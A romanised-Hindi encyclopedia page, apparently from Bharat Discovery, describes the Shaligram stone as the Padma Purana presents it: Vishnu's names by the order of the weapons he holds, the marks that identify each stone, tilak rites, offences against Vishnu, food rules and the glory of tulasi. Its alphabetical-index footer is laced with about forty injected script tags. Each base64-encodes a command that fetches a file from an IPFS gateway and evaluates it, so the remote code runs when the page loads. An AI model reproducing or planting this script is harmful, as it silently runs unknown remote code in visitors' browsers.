शालिग्राम

भारत डिस्कवरी प्रस्तुति
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shaligram / 'saligram'

padm puran ke anusar char bhujadhari bhagavan vishnu ke dahini evan oordhv bhuja ke kram se astr vishesh grahan karane par keshav adi nam hote haian arthat, dahini or ka oopar ka hath, dahini or ka niche ka hath, bayian or ka oopar ka hath aur bayian or ka niche ka hath- is kram se charoan hathoan mean shankh, chakr adi ayudhoan ko kram ya vyatikramapoorvak dharan karane par bhagavan ki bhinn-bhinn sanjnaean hoti haian. unhian sanjnaoan ka nirdesh karate hue yahaan bhagavan ka poojan batalaya jata hai.

  • uparyukt kram se charoan hathoan mean shankh, chakr, gada aur padm dharan karane vale vishnu ka nam 'keshav' hai.
  • padm, gada, chakr aur shankh ke kram se shastr dharan karane par unhean 'narayan' kahate haian.
  • kramash: chakr, shankh, padm aur gada grahan karane se ve 'madhav' kahalate haian.
  • gada, padm, shankh aur chakr-is kram se ayudh dharan karane vale bhagavan ka nam 'govind' hai.
  • padm, shankh, chakr aur gadadhari vishnu roop bhagavan ko pranam hai.
  • shankh, padm, gada aur chakr dharan karane vale madhusoodan-vigrah ko namaskar hai.
  • gada, chakr, shankh aur padm se yukt trivikram ko tatha
  • chakr, gada, padm aur shankhadhari vaman moorti ko pranam hai.
  • chakr, padm aur gada dharan karane vale shridhar roop ko namaskar hai.
  • chakr, gada, shankh tatha padmadhari hrishikesh! apako pranam hai.
  • padm, shankh, gada aur chakr grahan karane vale padmanabh vigrah ko namaskar hai.
  • shankh, gada, chakr aur padmadhari damodar! apako mera pranam hai.
  • shankh, kamal, chakr tatha gada dharan karane vale sankarshan ko namaskar hai.
  • chakr, shankh gada tatha padm se yukt bhagavan vasudev! apako pranam hai.
  • shankh, chakr, gada aur kamal adi ke dvara pradyumnmoorti dharan karanevale bhagavan ko namaskar hai.
  • gada, shankh, kamal tatha chakradhari aniruddh ko pranam hai.
  • padm, shankh, gada aur chakr se chihnit purushottam roop ko namaskar hai.
  • gada, shankh, chakr aur padm grahan karane vale adhokshaj ko pranam hai.
  • padm, gada, shankh aur chakr dharan karane vale nrisianh bhagavan ko namaskar hai.
  • padm, chakr, shankh aur gada lene vale achyutasvaroop ko pranam hai.
  • gada, padm, chakr aur shankhadhari shrikrishna vigrah ko namaskar hai.

shaligram ka svaroop aur mahima ka varnan

  • jis shaligram-shila mean dvar-sthan par paraspar sate hue do chakr hoan, jo shukl varn ki rekha se aankit aur shobha sampann dikhayi deti hoan, use bhagavan shri gadadhar ka svaroop samajhana chahiye.
  • sankarshan moorti mean do sate hue chakr hote haian, lal rekha hoti hai aur usaka poorvabhag kuchh mota hota hai.
  • pradyumn ke svaroop mean kuchh-kuchh pilapan hota hai aur usamean chakr ka chihn sookshm rahata hai.
  • aniruddh ki moorti gol hoti hai aur usake bhitari bhag mean gahara evan chau da chhed hota hai; isake siva, vah dvar bhag mean nil varn aur tin rekhaoan se yukt bhi hoti hai.
  • bhagavan narayan shyam varn ke hote haian, unake madhy bhag mean gada ke akar ki rekha hoti hai aur unaka nabhi-kamal bahut ooancha hota hai.
  • bhagavan nrisianh ki moorti mean chakr ka sthool chihn rahata hai, unaka varn kapil hota hai tatha ve tin ya paanch binduoan se yukt hote haian. brahmachari ke liye unhian ka poojan vihit hai. ve bhaktoan ki raksha karanevale haian.
  • jis shaligram-shila mean do chakr ke chihn visham bhav se sthit hoan, tin liang hoan tatha tin rekhaean dikhayi deti hoan; vah varah bhagavan ka svaroop hai, usaka varn nil tatha akar sthool hota hai. bhagavan varah bhi sabaki raksha karane vale haian. kachchhap ki moorti shyam varn ki hoti hai. usaka akar pani ki bhanvar ke saman gol hota hai. usamean yatr-tatr binduoan ke chihn dekhe jate haian tatha usaka prishth-bhag shvet rang ka hota hai.
  • shridhar ki moorti mean paanch rekhaean hoti haian
  • vanamali ke svaroop mean gada ka chihn hota hai.
  • gol akriti, madhyabhag mean chakr ka chihn tatha nilavarn, yah vaman moorti ki pahachan hai.
  • jisamean nana prakar ki anekoan moortiyoan tatha sarp-sharir ke chihn hote haian, vah bhagavan anant ki pratima hai.
  • damodar ki moorti sthoolakay evan nilavarn ki hoti hai. usake madhy bhag mean chakr ka chihn hota hai. bhagavan damodar nil chihn se yukt hokar sankarshan ke dvara jagat ki raksha karate haian.
  • jisaka varn lal hai, tatha jo lambi-lambi rekha, chhidr, ek chakr aur kamal adi se yukt evan sthool hai, us shaligram ko brahma ki moorti samajhani chahiye.
  • jisamean brihat chhidr, sthool chakr ka chihn aur krishna varn ho, vah shrikrishna ka svaroop hai. vah binduyukt aur bindushoony donoan hi prakar ka dekha jata hai.
  • hayagriv moorti aankush ke saman akar vali aur paanch rekhaoan se yukt hoti hai.
  • bhagavan vaikunth kaustubh mani dharan kiye rahate haian. unaki moorti b di nirmal dikhayi deti hai. vah ek chakr se chihnit aur shyam varn ki hoti hai.
  • matsy bhagavan ki moorti brihat kamal ke akar ki hoti hai. usaka rang shvet hota hai tatha usamean har ki rekha dekhi jati hai.
  • jis shaligram ka varn shyam ho, jisake dakshin bhag mean ek rekha dikhayi deti ho tatha jo tin chakroan ke chihn se yukt ho, vah bhagavan shri ramachandrji ka svaroop hai, ve bhagavan sabaki raksha karanevale haian.
  • dvarakapuri mean sthit shaligram svaroop bhagavan gadadhar ko namaskar hai, unaka darshan b da hi uttam hai.
  1. bhagavan gadadhar ek chakr se chihnit dekhe jate haian.
  2. lakshminarayan do chakroan se
  3. trivikram tin se
  4. chaturvyooh char se
  5. vasudev paanch se
  6. pradyumn chh: se
  7. sankarshan sat se
  8. purushottam ath se
  9. navavyooh nav se
  10. dashavatar das se
  11. aniruddh gyarah se
  12. dvadashatma barah chakroan se yukt hokar jagat ki raksha karate haian.
  13. isase adhik chakr chihn dharan karane vale bhagavan ka nam anant hai.
  • dand, kamandalu aur akshamala dharan karanevale chaturmukh brahma tatha
  • paanch mukh aur das bhujaoan se sushobhit vrishadhvaj mahadev ji apane ayudhoan sahit shalagramashila mean sthit rahate haian.
  • gauri, chandi, sarasvati aur mahalakshmi adi mataean, hath mean kamal dharan karanevale sooryadev, hathi ke saman kandhevale gajanan ganesh, chh: mukhoan vale svami kartikey tatha aur bhi bahut-se devagan shaligram pratima mean maujood rahate haian, at: mandir mean shaligram shila ki sthapana athava pooja karane par ye uparyukt devata bhi sthapit aur poojit hote haian. jo purush aisa karata hai, use dharm, arth, kam aur moksh adi ki prapti hoti hai.

praptisthal

gandaki arthat narayani nadi ke ek pradesh mean shaligram sthal nam ka ek mahattvapoorn sthan hai; vahaan se nikalanevale patthar ko shaligram kahate haian. shaligram shila ke sparshamatr se karo doan janmoan ke pap ka nash ho jata hai. phir yadi usaka poojan kiya jay, tab to usake phal ke vishay mean kahana hi kya hai; vah bhagavan ke samip pahuanchane vala hai. bahut janmoan ke puny se yadi kabhi goshpad ke chihn se yukt shrikrishna shila prapt ho jay to usi ke poojan se manushy ke punarjanm ki samapti ho jati hai. pahale shaligram-shila ki pariksha karani chahiye; yadi vah kali aur chikani ho to uttam hai. yadi usaki kalima kuchh kam ho to vah madhyam shreni ki mani gayi hai. aur yadi usamean doosare kisi rang ka sammishran ho to vah mishrit phal pradan karane vali hoti hai. jaise sada kath ke bhitar chhipi huee ag manthan karane se prakat hoti hai, usi prakar bhagavan vishnu sarvatr vyapt hone par bhi shaligram shila mean vishesh roop se abhivyakt hote haian. jo pratidin dvaraka ki shila-gomati chakr se yukt barah shaligram moortiyoan ka poojan karata hai, vah vaikunth lok mean pratishthit hota hai. jo manushy shaligram-shila ke bhitar gufa ka darshan karata hai, usake pitar tript hokar kalp ke antatak svarg mean nivas karate haian. jahaan dvarakapuri ki shila- arthat gomati chakr rahata hai, vah sthan vaikunth lok mana jata hai; vahaan mrityu ko prapt hua manushy vishnudham mean jata hai. jo shalagram-shila ki qimat lagata hai, jo bechata hai, jo vikray ka anumodan karata hai tatha jo usaki pariksha karake mooly ka samarthan karata hai, ve sab narak mean p date haian. isaliye shaligram shila aur gomati chakr ki kharid-bikri chho d deni chahiye. shaligram-sthal se prakat hue bhagavan shaligram aur dvaraka se prakat hue gomati chakr- in donoan devataoan ka jahaan samagam hota hai, vahaan moksh milane mean tanik bhi sandeh nahian hai. dvaraka se prakat hue gomati chakr se yukt, anekoan chakroan se chihnit tatha chakrasan-shila ke saman akar vale bhagavan shaligram sakshat chitsvaroop niranjan paramatma hi haian. oankar roop tatha nityanand svaroop shaligram ko namaskar hai.

tilak ki vidhi

tilak ki vidhi ka varnan is prakar hai-

  • lalat mean keshav
  • kanth mean shripurushottam
  • nabhi mean narayanadev
  • hriday mean vaikunth
  • bayian pasali mean damodar
  • dahini pasali mean trivikram
  • mastak par hrishikesh
  • pith mean padmanabh
  • kanoan mean ganga-yamuna
  • donoan bhujaoan mean shrikrishna aur hari ka nivas samajhana chahiye.

uparyukt sthanoan mean tilak karane se ye barah devata santusht hote haian. tilak karate samay in barah namoan ka uchcharan karana chahiye. jo aisa karata hai, vah sab papoan se shuddh hokar vishnu lok ko jata hai. bhagavan ke charanodak ko pina chahiye aur putr, mitr tatha stri adi samast parivar ke sharir par use chhi dakana chahiye. shrivishnu ka charanodak yadi pi liya jay to vah karo doan janmoan ke pap ka nash karane vala hota hai.

aparadh aur unase chhootane ke upay

  1. bhagavan ke mandir mean kh daooan ya savari par chadhakar jana
  2. bhagavat-sambandhi utsavoan ka sevan n karana
  3. bhagavan ke samane jakar pranam n karana
  4. uchchhisht ya apavitr avastha mean bhagavan ki vandana karana
  5. ek hath se pranam karana
  6. bhagavan ke samane hi ek sthan par kh de-kh de pradakshina karana
  7. bhagavan ke age paanv phailana
  8. palang par baithana
  9. sona
  10. khana
  11. jhooth bolana
  12. zor-zor se chillana
  13. paraspar bat karana
  14. rona
  15. jhag da karana
  16. kisi ko dand dena
  17. apane bal ke ghanmad mean akar kisi par anugrah karana
  18. striyoan ke prati kathor bat kahana
  19. kambal odhana
  20. doosare ki ninda
  21. parayi stuti
  22. gali bakana
  23. adhovayu ka tyag (apashabd) karana
  24. shakti rahate hue gaun upacharoan se pooja karana
  25. mukhy upacharoan ka prabandh n karana
  26. bhagavan ko bhog lagaye bina hi bhojan karana
  27. samayik phal adi ko bhagavan ki seva mean arpan n karana
  28. upayog mean lane se bache hue bhojan ko bhagavan ke liye nivedan karana
  29. bhojan ka nam lekar doosare ki ninda tatha prashansa karana
  30. guru ke samip maun rahana
  31. atm-prashansa karana
  32. devataoan ko kosana

ye vishnu ke prati battis aparadh bataye gaye haian. 'madhusoodan! mujhase pratidin hazaroan aparadh hote rahate haian; kintu maian apaka hi sevak hooan, aisa samajhakar mujhe unake liye kshama karean.'[1]. is mantr ka uchcharan karake bhagavan ke samane prithvi par dand ki bhaanti p dakar sashtaang pranam karana chahiye. aisa karane se bhagavan shrihari sada hazaroan aparadh kshama karate haian.

havishyatr

  1. dvijatiyoan ke liye sabere aur sham- do hi samay bhojan karana ved vihit hai.
  2. gol lauki, lahasun, ta daka phal aur bhaanta- inhean vaishnav purushoan ko nahian khana chahiye.
  3. vaishnav ke liye b d, pipal, madar, kumbhi, tinduk, kovidar (kachanar) aur kadamb ke patte mean bhojan karana nishiddh hai.
  4. jala hua tatha bhagavan ko arpan n kiya hua ann, jambir aur bijaura niboo, shak tatha khali namak bhi vaishnav ko nahian khana chahiye.
  5. yadi daivat kabhi kha le to bhagavannam ka smaran karana chahiye.
  6. hemant rritu mean utpann hone vala safed dhan jo s da hua n ho, mooang, til, yav, kerav, kangani, nivar (tina), shak, hilamochika (hilasa), kalashak, bathuva, mooli, doosare-doosare mool-shak, seandha aur saanbhar namak, gay ka dahi, gay ka ghi, bina makhan nikala hua gay ka doodh, katahal, am harre, pippali, zira, narangi, imali, kela, lavali (harapha revari), aanvale ka phal, gu d ke siva eeankh ke ras se taiyar hone vali any sabhi vastuean tatha bina tel ke pakaya hua ann-in sabhi khady padarthoan ko muni log havishyann kahate haian.

tulasi ki mahima

[[chitr:Holy basil.jpg|thumb|tulasi]]

  1. REDIRECTsaancha:mukhy

jo manushy tulasi ke patr aur pushp adi se yukt mala dharan karata hai, usako bhi vishnu hi samajhana chahiye. aanvale ka vriksh lagakar manushy vishnu ke saman ho jata hai. aanvale ke charoan or sadhe tin sau hath ki bhoomi ko kurukshetr janana chahiye. tulasi ki lak di ke rudraksh ke saman dane banakar unake dvara taiyar ki huee mala kanth mean dharan karake bhagavan ka poojan arambh karana chahiye. bhagavan ko chadhayi huee tulasi ki mala mastak par dharan kare tatha bhagavan ko arpan kiye hue chandan ke dvara apane aangoan par bhagavan ka nam likhe. yadi tulasi ke kashth ki bani huee malaoan se alakriant hokar manushy devataoan aur pitaroan ke poojanadi kary kare to vah kotiguna phal dene vala hota hai. jo manushy tulasi ke kashth ki bani huee mala bhagavan vishnu ko arpit karake pun: prasad roop se usako bhakti poorvak dharan karata hai, usake patak nasht ho jate haian. pady adi upacharoan se tulasi ki pooja karake is mantr ka uchcharan kare- jo darshan karane par sare papasamuday ka nash kar deti hai, sparsh karane par sharir ko pavitr banati hai, pranam karane par rogoan ka nivaran karati hai, jal se sianchane par yamaraj ko bhi bhay pahuanchati hai, aropit karane par bhagavan shrikrishna ke samip le jati hai aur bhagavan ke charanoan mean chadhane par moksh roopi phal pradan karati hai, us tulasi devi ko namaskar hai. [2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ aparadhasahastrani kriyanteaharnishan maya. tavahamiti maan matva kshamasv madhusoodan॥ (padm puran,79.44)
  2. ↑ ya drashtanikhilaghasanshamani sprishta vapushpavani roganamabhivandita nirasani siktantakatrasini.
    pratyasattividhayini bhagavat: krishnasy sanropita nyasta tachcharane vimuktiphalada tasyai tulasyai nam:॥ (padmapuran)

sambandhit lekh

dekhean • varta • badalean
bharatiy sanskriti ke pratik

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varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



